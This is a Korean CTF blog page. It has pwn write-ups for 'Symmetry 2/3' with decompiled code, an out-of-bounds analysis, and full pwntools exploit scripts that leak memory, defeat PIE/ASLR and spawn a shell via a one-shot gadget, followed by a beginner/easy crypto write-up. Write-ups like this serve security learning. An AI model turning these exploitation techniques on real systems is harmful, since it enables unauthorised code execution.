          __isoc99_scanf("%2hhx", (char *)keys + 8 * block_idx + i);
        for ( j = 0; j <= 0xF; ++j )
        {
          printf("Please provide shift %u for block %u: ", j, block_idx);
          __isoc99_scanf("%2hhx", (char *)block_shift + 16 * block_idx + j);
        }
        printf("Please provide plaintext for block %u: ", block_idx);
        for ( k = 0; k <= 7; ++k )
          __isoc99_scanf("%2hhx", (char *)plaintext + 8 * block_idx + k);
      }
      encrypt(block_cnt, (__int64)keys, (__int64)block_shift, (__int64)plaintext, (__int64)ciphertext);
      puts("Ciphertexts:");
      for ( m = 0; m < block_cnt; ++m )
      {
        printf("Block %u: ", m);
        for ( n = 0; n <= 7; ++n )
          printf("%02hhx", *((unsigned __int8 *)ciphertext + 8 * m + n));
        putchar(10);
      }
      free(keys);
      free(block_shift);
      free(plaintext);
      free(ciphertext);
    }
    else
    {
      puts("That is a bit too much...");
    }
  }
}

 

ida로 디컴파일해보면 대략 이런 코드가 나옵니다.

간단히 설명해보면 다음과 같습니다:

 1. 입력받을 블럭의 개수 입력
 2. 각 블럭에 사용될 key 8바이트 입력
 3. 각 블럭에 사용될, 16개의 shift 1바이트씩 입력
 4. plaintext 8바이트 입력
 5. 1에서 입력한 개수 만큼 2~4 반복
 6. encrypt 진행
 7. ciphertext 블럭별로 출력
 8. 위 과정 반복

여기서 encrypt 함수를 보면

unsigned __int64 __fastcall encrypt(unsigned int block_cnt, __int64 keys, __int64 a3, __int64 a4, __int64 a5)
{
  unsigned __int64 v6; // [rsp+98h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  encrypt_core(block_cnt, keys, a3, a4, a5);
  return v6 - __readfsqword(0x28u);
}

 

디컴파일시에는 별 동작을 하지 않는것 같지만,

.text:00000000000015D7                 endbr64
.text:00000000000015DB                 push    rbp
.text:00000000000015DC                 mov     rbp, rsp
.text:00000000000015DF                 sub     rsp, 0A0h
.text:00000000000015E6                 mov     [rbp+var_74], edi
.text:00000000000015E9                 mov     [rbp+var_80], rsi
.text:00000000000015ED                 mov     [rbp+var_88], rdx
.text:00000000000015F4                 mov     [rbp+var_90], rcx
.text:00000000000015FB                 mov     [rbp+var_98], r8
.text:0000000000001602                 mov     rax, fs:28h
.text:000000000000160B                 mov     [rbp+var_8], rax
.text:000000000000160F                 xor     eax, eax
.text:0000000000001611                 mov     rax, 'f{ramlak'
.text:000000000000161B                 mov     rdx, 'galf_eka'
.text:0000000000001625                 mov     [rbp+var_70], rax
.text:0000000000001629                 mov     [rbp+var_68], rdx
.text:000000000000162D                 mov     rax, 'set_rof_'
.text:0000000000001637                 mov     rdx, '}):_gnit'
.text:0000000000001641                 mov     [rbp+var_60], rax
.text:0000000000001645                 mov     [rbp+var_58], rdx

 

실제로 어셈을 뜯어보면 스택에 flag를 담아둡니다.

rsp+0x30부터 0x20바이트가 flag라고 볼 수 있습니다.

unsigned __int64 __fastcall encrypt_core(
        unsigned int block_cnt,
        __int64 keys_8n,
        __int64 shifts_16n,
        __int64 plaintext_8n,
        __int64 ciphertext_8n)
{
  int v5; // ebx
  char plain_hex; // al
  unsigned __int8 key_hex; // bl
  unsigned __int8 buf_hex; // al
  char v9; // al
  unsigned __int8 v10; // al
  unsigned __int8 k; // [rsp+34h] [rbp-5Ch]
  unsigned __int8 m; // [rsp+35h] [rbp-5Bh]
  unsigned __int8 n; // [rsp+36h] [rbp-5Ah]
  unsigned __int8 ii; // [rsp+37h] [rbp-59h]
  unsigned int i; // [rsp+38h] [rbp-58h]
  int j; // [rsp+3Ch] [rbp-54h]
  char buf[8]; // [rsp+40h] [rbp-50h] BYREF
  __int64 plain_block[6]; // [rsp+48h] [rbp-48h] BYREF
  unsigned __int64 v23; // [rsp+78h] [rbp-18h]

  v23 = __readfsqword(0x28u);
  for ( i = 0; i < block_cnt; ++i )
  {
    plain_block[0] = *(_QWORD *)(8 * i + plaintext_8n);
    for ( j = 0; j <= 15; ++j )
    {
      for ( k = 0; k <= 0xFu; ++k )             // plain_block[1][sbox[k]]=f1(shift[i][j],k)
      {
        v5 = sbox1[k];
        *((_BYTE *)&plain_block[1] + v5) = add_or_sub(*(_BYTE *)(16 * i + j + shifts_16n), k);// over 16
      }
      for ( m = 0; m <= 0xFu; ++m )
      {
        plain_hex = get_hex_val((__int64)plain_block, m);// get hex idx
        set_hex_val((__int64)buf, *((unsigned __int8 *)&plain_block[1] + m), plain_hex);// hex(a1)[a2]=a3
      }
      for ( n = 0; n <= 0xFu; ++n )
      {
        key_hex = get_hex_val(8 * i + keys_8n, n);
        buf_hex = get_hex_val((__int64)buf, n);
        v9 = add_or_sub(buf_hex, key_hex);
        set_hex_val((__int64)buf, n, v9 & 0xF);
      }
      for ( ii = 0; ii <= 0xFu; ++ii )
      {
        v10 = get_hex_val((__int64)buf, ii);
        set_hex_val((__int64)plain_block, ii, *((_BYTE *)&plain_block[1] + *((unsigned __int8 *)&plain_block[1] + v10)));
      }
    }
    *(_QWORD *)(ciphertext_8n + 8 * i) = plain_block[0];
  }
  return v23 - __readfsqword(0x28u);
}

__int64 __fastcall add_or_sub(unsigned __int8 a1, unsigned __int8 a2)
{
  unsigned __int8 v3; // [rsp+15h] [rbp-Bh]
  unsigned __int8 v4; // [rsp+16h] [rbp-Ah]
  unsigned __int8 v5; // [rsp+17h] [rbp-9h]

  v3 = a2 & 1;
  v4 = a1 >> 1;
  v5 = a2 >> 1;
  if ( (a1 & 1) == 1 )
    return (unsigned int)(unsigned __int8)(((2 * (v4 - v5)) & 0xE) - v3) + 1;
  else
    return 2 * (v4 + v5) + (unsigned int)v3;
}

char __fastcall get_hex_val(__int64 a1, unsigned int a2)
{
  unsigned __int8 v3; // [rsp+17h] [rbp-9h]

  v3 = *(_BYTE *)((a2 >> 1) + a1);              // a1[a2>>1]
  if ( (a2 & 1) != 0 )                          // a2가 홀수면
    return v3 & 0xF;
  else
    return v3 >> 4;
}

unsigned __int64 __fastcall set_hex_val(__int64 a1, unsigned int a2, char a3)
{
  char v4; // [rsp+17h] [rbp-9h]
  char v5; // [rsp+17h] [rbp-9h]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  v4 = *(_BYTE *)((a2 >> 1) + a1);
  if ( (a2 & 1) != 0 )
    v5 = (v4 & 0xF0) + a3;
  else
    v5 = (v4 & 0xF) + 16 * a3;
  *(_BYTE *)(a1 + (a2 >> 1)) = v5;
  return v6 - __readfsqword(0x28u);
}

 

실제로 암호화가 진행되는 코드는 다음과 같습니다.

 * add_or_sub(a1, a2)는 a1이 홀수면 (a1-a2)&0xf, 아니면 a1+a2를 리턴합니다.
 * get_hex_val, set_hex_val은 a1을 hex로 나타냈을 때, a2번째 값을 리턴하거나 a3로 set합니다.

이를 반영하여 해당 코드를 파이썬으로 옮겨보면 다음과 같습니다.

sbox = [9, 10, 8, 1, 14, 3, 7, 15, 11, 12, 2, 0, 4, 5, 6, 13]

def plus_or_minus(shift_num, k):
    if shift_num & 1 == 0:
        return shift_num + k
    else:
        return (shift_num - k) & 0xF

def enc_round(key, shift, plaintext):
    buf = [0] * 16
    p1 = [0] * 16
    for j in range(16):
        p1[sbox[j]] = plus_or_minus(shift, j)
    for j in range(16):
        buf[p1[j]] = plaintext[j]
    for j in range(16):
        buf[j] = plus_or_minus(buf[j], key[j]) & 0xF
    for j in range(16):
        plaintext[j] = p1[p1[buf[j]]]

def enc_block(key, shifts, plaintext):
    for i in range(16):
        enc_round(key, shifts[i], plaintext)
    return plaintext

 

이때 해당 코드에서 key, plaintext, buf은 바이트가 아닌 hex값을 나타냅니다.

plus_or_minus의 리턴값이 16이상일 수 있기 때문에 p1[j]의 값 또한 16이상이 가능하고, 이 때문에

buf[p1[j]] = plaintext[j], plaintext[j] = p1[p1[buf[j]]]에서 oob 취약점이 터집니다.

 

우선 buf의 주소는 rbp-0x50, p1(plaintext[1])의 주소는 rbp-0x40입니다.

 

또한 buf[p1[j]] = plaintext[j]에서는 buf에 hex단위로 쓰고,

plaintext[j] = p1[p1[buf[j]]]에서는 p1에 바이트 단위로 읽으므로

 

즉 전자는 rbp-0x50+p1[j]/2에 쓰고, 후자는 rbp-0x40+p1[buf[j]]를 읽습니다.


SYMMETRY 2

우선, 풀이를 간단히 하기 위해 key는 모두 0으로 고정합니다.

 

또한, buf의 값이 항상 0~15가 되도록 plaintext는 "0123456789abcdef"로,

15라운드까지는 취약점이 터지지 않도록 shifts는 홀수로 합니다.

 

이는 Symmetry 3도 마찬가지입니다.

 

저희가 읽어와야하는건 encrypt의 rsp+0x30부터 0x20바이트이고,
이는 encrypt_core기준으로 rbp+0x40 = p1+0x80부터 0x20바이트입니다.

 

buf[j]의 범위는 항상 0에서 15이므로 마지막 라운드에서 p1의 범위가 0x80에서 0x100이 되도록 해야합니다.

 

이러면 buf[p1[j]] = plaintext[j]에서 rbp-0x50+0x40 = rbp-0x10으로부터 0x10바이트를 쓰게 되는데,

해당 영역은 아무런 동작도 이루어지지 않기 때문에 문제가 되지 않습니다.

unsigned __int64 __fastcall set_hex_val(__int64 a1, unsigned int a2, char a3)
{
  char v4; // [rsp+17h] [rbp-9h]
  char v5; // [rsp+17h] [rbp-9h]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  v4 = *(_BYTE *)((a2 >> 1) + a1);
  if ( (a2 & 1) != 0 )
    v5 = (v4 & 0xF0) + a3;
  else
    v5 = (v4 & 0xF) + 16 * a3;
  *(_BYTE *)(a1 + (a2 >> 1)) = v5;
  return v6 - __readfsqword(0x28u);
}

 

다시 set_hex_val을 보면, a2가 홀수고 a3가 16이상이 되면 자기 위의 값에 영향을 주게 됩니다.

 

plaintext[j] = p1[p1[buf[j]]]에서, plaintext의 j번째 바이트는

16*p1[p1[buf[2*j]]] + p1[p1[buf[2*j+1]]]의 값을 가진다고 생각할 수 있습니다.

 

shifts를 15라운드까지는 홀수로 주고 마지막은 offset(짝수)를 주었다고 합시다.

 

우선 마지막 라운드에서 p1[sbox[j]] = offset + j일 것이고,

plaintext의 각 바이트에 16*p1[p1[buf[2*j]]] + p1[p1[buf[2*j+1]]]가 초기화됩니다.

 

j = 0에서 15일때 p1[j] = offset + inv_sbox[j]이고,

j = 0x80에서 일때 p1[j] = flag[j - 0x80]입니다.

 

즉, j = 0~15일때 p1[p1[j]] = flag[(offset - 0x80) + inv_sbox[j]] 입니다.

 

우선 p1[p1[j]]의 값을 계산하고 위 특성을 이용해 flag를 계산하면 됩니다.

from pwn import *
import random

sbox = [9, 10, 8, 1, 14, 3, 7, 15, 11, 12, 2, 0, 4, 5, 6, 13]
inv_sbox = [sbox.index(i) for i in range(16)]


def b2h(b):
    h = b.hex()
    return ["0123456789abcdef".index(_) for _ in h]


def h2b(h):
    h = "".join(["0123456789abcdef"[_] for _ in h])
    return bytes.fromhex(h)


def plus_or_minus(shift_num, k):
    if shift_num & 1 == 0:
        return shift_num + k
    else:
        return (shift_num - k) & 0xF


def enc_round_fixed(shift, plaintext):  # no key
    buf = [0] * 16
    p1 = [0] * 16
    for j in range(16):
        p1[sbox[j]] = plus_or_minus(shift, j)
    for j in range(16):
        buf[p1[j]] = plaintext[j]
    for j in range(16):
        plaintext[j] = p1[p1[buf[j]]]
    return buf


def enc_block_fixed(plaintext, shifts):
    ciphertext = plaintext[:]
    for shift in shifts:
        buf = enc_round_fixed(shift, ciphertext)  # no key
    return ciphertext, buf


def enc_remote_fixed(r, plaintexts, shifts):
    n = len(shifts)

    r.sendlineafter(b": ", str(n).encode())

    for block_idx in range(n):
        shift = shifts[block_idx]
        plaintext = plaintexts[block_idx]
        r.sendlineafter(b": ", b"0" * 16)  # key is 0
        for _ in range(16):
            r.sendlineafter(b": ", bytes([shift[_]]).hex().encode())
        r.sendlineafter(b": ", h2b(plaintext).hex().encode())
    r.recvline()
    ret = []
    for block_idx in range(n):
        data = r.recvline()[-17:-1].decode()
        data = [int(_, 16) for _ in data]
        ret.append(data)
    return ret


r = remote("chal-kalmarc.tf", "8")

# 0x10바이트를 모두 leak할 수 있는 shifts 수집
shifts = []
bufs = []
check = set()
while len(check) != 16:
    shift = [random.randrange(1, 16, 2) for _ in range(15)]
    _, buf = enc_block_fixed(list(range(16)), shift)
    for i in range(0, 2, 16):
        check.add(buf[i])
    shifts.append(shift)
    bufs.append(buf)
n = len(shifts)

ans = [0] * 16

# flag부터 0x10바이트, flag+0x10부터 0x10바이트 leak
for offset in [0x80, 0x90]:
    _shifts = [shift + [offset] for shift in shifts]
    enc_datas = enc_remote_fixed(r, [list(range(16)) for _ in range(n)], _shifts)

    for i in range(n):
        for j in range(1, 16, 2):
            ans[bufs[i][j]] = enc_datas[i][j]

    for i in range(n):
        for j in range(1, 16, 2):
            ans[bufs[i][j]] |= (enc_datas[i][j - 1] - ans[bufs[i][j - 1]]) * 16 % 256

    ans = [ans[sbox[i]] for i in range(16)]
    print(bytes(ans))

r.close()

 

다음과 같은 코드로 flag를 얻을 수 있겠습니다.


SYMMETRY 3

우선, Symmetry 2에서 사용한 방법을 통해 스택에서 encrypt_core()의 sfp&ret을 leak할 수 있으며,

이를 통해 pie offset 또한 구할 수 있습니다.

 

그럼 이제 rop를 통해 libc offset을 leak해야 합니다.

 

해당 바이너리에서는 rdi를 초기화 할 수 있는 가젯은 없지만,

대신 encrypt_core에서 ret하기 직전 rsi의 값은 plaintext를 가르키기 때문에,

ciphertext의 마지막 블럭과 동일하다고 볼 수 있습니다.

 

rop를 위해 사용할 특징들은 다음과 같습니다:

 * buf[p1[j]] = plaintext[j]을 통해 rbp-0x50으로부터 0x80바이트까지 덮을 수 있습니다.
   * 다만 원하는 값을 덮기 위해서는 역산이 요구됩니다.
 * key, shift 모두 0일때 plaintext=ciphertext이므로, 간단히 rsi가 가르키는 문자열을 8바이트만큼 조작할 수
   있습니다.

일단 역산의 경우 앞서 말한대로 마지막라운드에서 p1[sbox[j]] = offset + j이며,

key와 shift를 모두 알고 있을때 각 라운드의 역산은 어렵지 않습니다(?).

 

buf + offset/2가 target이라고 하면, target[j] = plaintext[sbox[j]] 이므로 원하는 값을
inv_sbox를 통해 섞고 15라운드만큼 decrypt하면 됩니다.

 

(마지막 라운드의 target[j] = plaintext[sbox[j]]에서 plaintext는 15라운드를 거쳐 enc가 이루어진 값이고,
target[inv_sbox[j]] = plaintext[j]나 마찬가지이므로 inv_sbox를 통해 섞은 뒤 dec을 진행하면 됩니다.)

 

stack alignment를 지키기 위해 스택을 ret, printf, ret, main순으로 깔아두면,

printf("%37$p\n")을 통해 __libc_start_main_ret을 leak하고 main을 다시 호출합니다.

 

그 뒤에 system을 호출하면 rdi가 가르키는 값이(plaintext) 덮이는 문제가 있으며,

대신 oneshot gadget으로 ret을 덮어 깔끔하게 쉘을 딸 수 있습니다.

from pwn import *
import random

sbox = [9, 10, 8, 1, 14, 3, 7, 15, 11, 12, 2, 0, 4, 5, 6, 13]
inv_sbox = [sbox.index(i) for i in range(16)]


def b2h(b):
    h = b.hex()
    return ["0123456789abcdef".index(_) for _ in h]


def h2b(h):
    h = "".join(["0123456789abcdef"[_] for _ in h])
    return bytes.fromhex(h)


def plus_or_minus(shift_num, k):
    if shift_num & 1 == 0:
        return shift_num + k
    else:
        return (shift_num - k) & 0xF


def enc_round_fixed(shift, plaintext):  # no key
    buf = [0] * 16
    p1 = [0] * 16
    for j in range(16):
        p1[sbox[j]] = plus_or_minus(shift, j)
    for j in range(16):
        buf[p1[j]] = plaintext[j]
    for j in range(16):
        plaintext[j] = p1[p1[buf[j]]]
    return buf


def enc_block_fixed(plaintext, shifts):
    ciphertext = plaintext[:]
    for shift in shifts:
        buf = enc_round_fixed(shift, ciphertext)  # no key
    return ciphertext, buf


def dec_round_fixed(shift, plaintext):  # no key
    buf = [0] * 16
    p1 = [0] * 16
    for j in range(16):
        p1[sbox[j]] = plus_or_minus(shift, j)
    inv_p1 = [p1.index(j) for j in range(16)]
    for j in range(16):
        buf[j] = inv_p1[inv_p1[plaintext[j]]]
    for j in range(16):
        plaintext[j] = buf[p1[j]]
    return buf


def dec_block_fixed(ciphertext, shifts):
    plaintext = ciphertext[:]
    plaintext = [plaintext[inv_sbox[j]] for j in range(16)]
    for shift in shifts[::-1]:
        buf = dec_round_fixed(shift, plaintext)  # no key
    return plaintext


def enc_remote_fixed(r, plaintexts, shifts, skip=False):
    n = len(shifts)

    r.sendlineafter(b": ", str(n).encode())

    for block_idx in range(n):
        shift = shifts[block_idx]
        plaintext = plaintexts[block_idx]
        r.sendlineafter(b": ", b"0" * 16)  # key is 0
        for _ in range(16):
            r.sendlineafter(b": ", bytes([shift[_]]).hex().encode())
        r.sendlineafter(b": ", h2b(plaintext).hex().encode())
    ret = []
    if not skip:
        r.recvline()
        for block_idx in range(n):
            data = r.recvline()[-17:-1].decode()
            data = [int(_, 16) for _ in data]
            ret.append(data)
    return ret


r = remote("chal-kalmarc.tf", "8")

# 0x10바이트를 모두 leak할 수 있는 shifts 수집
shifts = []
bufs = []
check = set()
while len(check) != 16:
    shift = [random.randrange(1, 16, 2) for _ in range(15)]
    _, buf = enc_block_fixed(list(range(16)), shift)
    for i in range(0, 2, 16):
        check.add(buf[i])
    shifts.append(shift)
    bufs.append(buf)
n = len(shifts)

ans = [0] * 16

# encrypt_core()의 sfp & ret leak
_shifts = [shift + [0x40] for shift in shifts]
enc_datas = enc_remote_fixed(r, [list(range(16)) for _ in range(n)], _shifts)

for i in range(n):
    for j in range(1, 16, 2):
        ans[bufs[i][j]] = enc_datas[i][j]

for i in range(n):
    for j in range(1, 16, 2):
        ans[bufs[i][j]] |= (enc_datas[i][j - 1] - ans[bufs[i][j - 1]]) * 16 % 256

ans = [ans[sbox[i]] for i in range(16)]

# pie_offset 계산 및 libc leak
pie_offset = u64(bytes(ans)[8:]) - 0x16AF

printf_plt = pie_offset + 0x1110
main = pie_offset + 0x16C6
ret = pie_offset + 0x15D6

payloads = [p64(ret), p64(printf_plt), p64(ret), p64(main)]
payloads = [dec_block_fixed(b2h(payload), [0] * 15) for payload in payloads]
payloads += [b2h(b"%37$p\n\x000")]
shifts = [[0] * 15 + [0xB0 + 0x10 * i] for i in range(4)] + [[0] * 16]

enc_remote_fixed(r, payloads, shifts, skip=True)

# libc_offset 계산 및 oneshot gadget을 통한 쉘 획득

libc_offset = int(r.recvline(), 16) - 0x29D90
one_shot = libc_offset + 0xEBC85

payloads = [dec_block_fixed(b2h(p64(one_shot)), [0] * 15)]
shifts = [[0] * 15 + [0xB0]]

enc_remote_fixed(r, payloads, shifts, skip=True)

r.interactive()
r.close()

 

 

 

 

 

 

좋아요공감
공유하기

게시글 관리

구독하기ks의 잡다한 블로그


'CTF > WRITEUP' 카테고리의 다른 글

ACSC 2024 Quals writeup  (0) 2024.04.07 2024 Feb Space WAR (Crypto) writeup  (3)
2024.02.25 Space WAR 2023 writeup  (1) 2023.12.31

ks의 잡다한 블로그_ks 님의 블로그입니다.구독하기
댓글8
 * Sechack
   
   gosu
   
   2023. 12. 28. 01:02답글
   더보기
    * 신고
    * 링크복사
   
   비밀번호 입력입력하기
   * _ks
     
     sugo
     
     2024. 1. 1. 10:13답글
     더보기
      * 신고
      * 링크복사
     
     비밀번호 입력입력하기
 * diff
   
   :fan: 이에요
   
   2023. 12. 31. 21:10답글
   더보기
    * 수정
    * 삭제
    * 신고
    * 링크복사
   
   비밀번호 입력입력하기
   * _ks
     
     우와!!!! 새해 복 많이 받으세요!!!
     
     2024. 1. 1. 01:19답글
     더보기
      * 신고
      * 링크복사
     
     비밀번호 입력입력하기
 * gss1
   
   돈 많이 벌게 해주세요
   
   2023. 12. 31. 23:33답글
   더보기
    * 수정
    * 삭제
    * 신고
    * 링크복사
   
   비밀번호 입력입력하기
   * _ks
     
     좋은 문제 감사했습니다!!!! 새해 복 많이 받으세요!!!
     
     2024. 1. 1. 01:20답글
     더보기
      * 신고
      * 링크복사
     
     비밀번호 입력입력하기
 * sk_
   
   감사합니다
   
   2024. 1. 4. 00:16답글
   더보기
    * 수정
    * 삭제
    * 신고
    * 링크복사
   
   비밀번호 입력입력하기
   * _ks
     
     도플갱어ㄷㄷㄷ
     
     2024. 2. 25. 12:44답글
     더보기
      * 신고
      * 링크복사
     
     비밀번호 입력입력하기

비밀글등록


2024 FEB SPACE WAR (CRYPTO) 후기

_ks 2024. 2. 25. 04:31
2024. 2. 25. 04:31

 

(끝내고 보니 개빡셌던 상금권 라인업)

 

이번엔 딱히 적을게 없어서 몇가지 사실들을 나열하는 식으로 적당히 채워보려고 한다.

 * 개강 전 소중한 하루를 CTF에 바쳐버렸다
 * crypto"만" 있는 CTF는 사실상 처음뛰었던거 아닌가 싶다.
 * 팀동료들이 출제&운영을 맡은 2023 Space War때 1등을 했던게 꽤 걸렸어서 원래는 안 풀고 롸업만 올릴 생각이었다.
 * 때문에 해결하면서 롸업을 작성했다. 근데 양식을 다 쓰고 봐버려서 구글폼으로 제출하기가 머시기해졌다.
 * 인증할까 한참 고민한게 결국 키핑을 한 셈이 되어 마음에 걸린다.
 * 푸는 도중에 막힐만한 부분을 모두 수월하게 넘겼고, 덕분에 문제 해결에는 4시간쯤 쓴것 같다.
 * 퀄리티는 모두 훌륭했다고 생각한다.
 * 시간을 제일 많이 소요한건, 롸업 작성중에 easy에 power X 시리즈의 엄밀한 풀이를 작성하면서였다.
   * 잘못 짠 코드로 10분만에 밀었는데, 롸업쓰느라 엄밀하게 푸는데 무려 3시간이나 날렸다.
   * 아직도 처음 짠 코드가 왜 되는건지 모르겠다.
   * writeup 작성 난이도 very hard입니다 아무튼 그러함
 * 왜 이거 쓰고 나니 새벽 4시 반인거죠? 이게 판타스틱 던?

좋아요공감
공유하기

게시글 관리

구독하기ks의 잡다한 블로그


'CTF > 후기' 카테고리의 다른 글

ACSC 2024 Quals 후기  (0) 2024.03.31 N1CTF 2023 후기(뒷북)  (0) 2023.12.31 Dreamhack
X-mas CTF 2023 후기  (8) 2023.12.27

ks의 잡다한 블로그_ks 님의 블로그입니다.구독하기
댓글8
 * Sechack
   
   gosu
   
   2023. 12. 28. 01:02답글
   더보기
    * 신고
    * 링크복사
   
   비밀번호 입력입력하기
   * _ks
     
     sugo
     
     2024. 1. 1. 10:13답글
     더보기
      * 신고
      * 링크복사
     
     비밀번호 입력입력하기
 * diff
   
   :fan: 이에요
   
   2023. 12. 31. 21:10답글
   더보기
    * 수정
    * 삭제
    * 신고
    * 링크복사
   
   비밀번호 입력입력하기
   * _ks
     
     우와!!!! 새해 복 많이 받으세요!!!
     
     2024. 1. 1. 01:19답글
     더보기
      * 신고
      * 링크복사
     
     비밀번호 입력입력하기
 * gss1
   
   돈 많이 벌게 해주세요
   
   2023. 12. 31. 23:33답글
   더보기
    * 수정
    * 삭제
    * 신고
    * 링크복사
   
   비밀번호 입력입력하기
   * _ks
     
     좋은 문제 감사했습니다!!!! 새해 복 많이 받으세요!!!
     
     2024. 1. 1. 01:20답글
     더보기
      * 신고
      * 링크복사
     
     비밀번호 입력입력하기
 * sk_
   
   감사합니다
   
   2024. 1. 4. 00:16답글
   더보기
    * 수정
    * 삭제
    * 신고
    * 링크복사
   
   비밀번호 입력입력하기
   * _ks
     
     도플갱어ㄷㄷㄷ
     
     2024. 2. 25. 12:44답글
     더보기
      * 신고
      * 링크복사
     
     비밀번호 입력입력하기

비밀글등록


2024 FEB SPACE WAR (CRYPTO) WRITEUP

_ks 2024. 2. 25. 03:02
2024. 2. 25. 03:02

댓글로 질문해주시면 성심성의껏 답변 드리겠습니다!

 

2/26 23:57) "Power X - 엄밀한 풀이" 수식 오류 수정


1. BEGINNER


1.1. SEA

> AES ECB에 대해 알아봅시다.

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import random

def kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk():
    random.seed(1337)
    return bytes([random.randint(0, 255) for _ in range(16)])

def aesaesaesaesaesaesaesaesaesaesaesaes(aesaesaesaesaesaesaesaesaesaesaes,aesaesaesaesaesaesaesaesaes):
    cipher = AES.new(aesaesaesaesaesaesaesaesaes, AES.MODE_ECB)
    ct_bytes = cipher.encrypt(pad(aesaesaesaesaesaesaesaesaesaesaes, AES.block_size))
    with open('output.txt', 'w') as f:
        f.write(ct_bytes.hex())

def flagflagflagflagflagflagflagflagflagflag():
    with open('flag.txt', 'rb') as f:
        flag = f.read()
    return flag

aesaesaesaesaesaesaesaesaesaesaesaes(flagflagflagflagflagflagflagflagflagflag(), kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk())

 

위 코드에서는 kk..kk() 함수를 통해 key를 얻어 AES 암호화한 값을 output.txt에 작성합니다.

해당 함수를 통해 key를 똑같이 얻고, 이를 통해 output.txt의 내용을 복호화하면 됩니다.

from Crypto.Cipher import AES
import random

def kkkk():
    random.seed(1337)
    return bytes([random.randint(0, 255) for _ in range(16)])

key = kkkk()
cipher = AES.new(key, AES.MODE_ECB)
print(cipher.decrypt(bytes.fromhex("a7be6170309d68ca9e7989f63a0c2711a48ab69e82a5e654ecf18948b66802e6")))


1.2. RSA PRIVATE

> RSA에 대해 알아봅시다.

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

keyPair = RSA.generate(2048)

with open('flag.txt', 'rb') as f:
    flag = f.read().strip()

pubkey = keyPair.publickey()
encryptor = PKCS1_OAEP.new(pubkey)
encrypted = encryptor.encrypt(flag)

with open('flag.enc', 'wb') as f:
    f.write(encrypted)

priKeyPEM= keyPair.export_key(passphrase="1337")

with open('private.pem', 'wb') as f:
    f.write(priKeyPEM)

 

RSA key를 생성하여 이를 통해 flag를 암호화한 flag.enc와, 비밀키 private.pem을 저장합니다.

주어진 비밀키를 통해 주어진 암호문을 복호화하면 됩니다.

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

# Load the private key
with open('private.pem', 'rb') as f:
    private_key = RSA.import_key(f.read(), passphrase="1337")

# Load the encrypted data
with open('flag.enc', 'rb') as f:
    encrypted_data = f.read()

# Create a cipher object
decryptor = PKCS1_OAEP.new(private_key)

# Decrypt the data
decrypted_data = decryptor.decrypt(encrypted_data)

# Print or use the decrypted data
print(decrypted_data.decode())


2. EASY


2.1. POWER X(6, 7, 1337)

2.1.1. POWER 6

> python3 chall.py를 실행하고 플래그를 획득하세요! ㅎ 아앗 컴퓨터가 뜨거워져...

# from Crypto.Util.number import getPrime
# p, q = getPrime(32), getPrime(32)
p, q = (2608745861, 3840342437)
n = p * q

k = (2**2**2**2**2**2) % n

print(f"hspace{{{str(k)}}}")

2.1.2. POWER 7

> python3 chall.py를 실행하고 플래그를 획득하세요! ㅎ 우주가 101295921388번 탄생하고 소멸되기를 반복했어요!

 

# from Crypto.Util.number import getPrime
# p, q = getPrime(32), getPrime(32)
p, q = (2608745861, 3840342437)
n = p * q

k = (2**2**2**2**2**2**2) % n

print(f"hspace{{{str(k)}}}")

2.1.3. POWER 1337

> python3 chall.py를 실행하고 플래그를 획득하세요! ㅎ
> https://youtu.be/QwXK4e4uqXY?si=gYjRNMx5skejfJ3X 뭐 이런 걸 보는거 같네요, 단지 이게 훨씬
> 오래걸리죠 ㅋㅋ

# from Crypto.Util.number import getPrime
# p, q = getPrime(32), getPrime(32)
p, q = (2608745861, 3840342437)
n = p * q

k = (2** ... **2) % n

print(f"hspace{{{str(k)}}}")

 

기본적으로 거의 동일한 코드에 2의 개수만 달라집니다.

당연히 직접 계산하는 것은 Power 6를 제외하면 불가능하며, 따라서 이를 빠르게 계산하는 방식을 찾아야 합니다.

우선 홀수 n에 대해 경우 2ϕ(n)≡1(modn) 입니다. (∵ 오일러의 정리)

이에 착안하여, 다음과 같이 해결하신 경우가 많을 거라 개인적으로 생각합니다.

X = 6
# X = 7
# X = 1337

p, q = (2608745861, 3840342437)
n = p * q
ns = []
for i in range(X):
    ns.append(n)
    n = euler_phi(n)
ns = ns[::-1]

k = 1
for i in range(X):
    k = ZZ(pow(2, k, ns[i]))
print(f"hspace{{{str(k)}}}")

 

실제로 위 코드를 통해서 flag를 얻을 수 있습니다.

하지만, 짝수 n에 대해서는 2ϕ(n)≡1(modn)는 성립하지 않습니다.


엄밀한 풀이

a≥ϕ(n),n=2rn′(n′≡1(mod2))라고 합시다.

a=kϕ(n)+b, 라면 2a−2b=2b(2kϕ(n)−1)≡0(modn′)

(∵2kϕ(n)−1≡0(modn′))

그런데 모든 n에 대하여 r≤ϕ(n) 이므로 (∵ r이 크고 ϕ(n)이 작으려면 n=2k꼴이어야 하나 이때 모두 식 만족)

2a≡0(mod2r)이 됩니다.

즉, a≡b(modϕ(n)) 과 b>r을 만족하면 2a≡2b(modn)이며,

b=a%ϕ(n)+ϕ(n)이 이를 만족합니다.

이를 반영하여 코드를 짜보면 다음과 같습니다.

X = 6
# X = 7
# X = 1337

p, q = (2608745861, 3840342437)
n = p * q
ns = []
for i in range(X):
    ns.append(n)
    n = euler_phi(n)# n = phi(n)
ns = ns[::-1]

k = 1
for i in range(X):
    if ns[i].nbits() > k: # 2^k <= ns[i]
        k = ZZ(pow(2, k, ns[i]))
    else: # 2^k > ns[i]
        k = ZZ(pow(2, k, ns[i])) + ns[i]
print(f"hspace{{{str(k % ns[-1])}}}")

 

SAGMATH 관련 추가설명 

 * 이 문제에서는 euler_phi를 사용하기 위해 쓰였습니다.
 * CTF에서 Crypto 문제를 풀 때 Pwnable에서의 pwntools 이상으로 중요하다고 생각합니다.
 * 해당 코드는 .sage 확장자를 가지는 sagemath 코드입니다.
   * sagemath에서 pow의 리턴값은 ring의 원소이며, 에러를 피하기 위해 ZZ()를 통해 interger로 바꿉니다.
   * euler_phi는 sagemath에서 자체적으로 제공하는, 오일러 파이 함수입니다.


3. MEDIUM


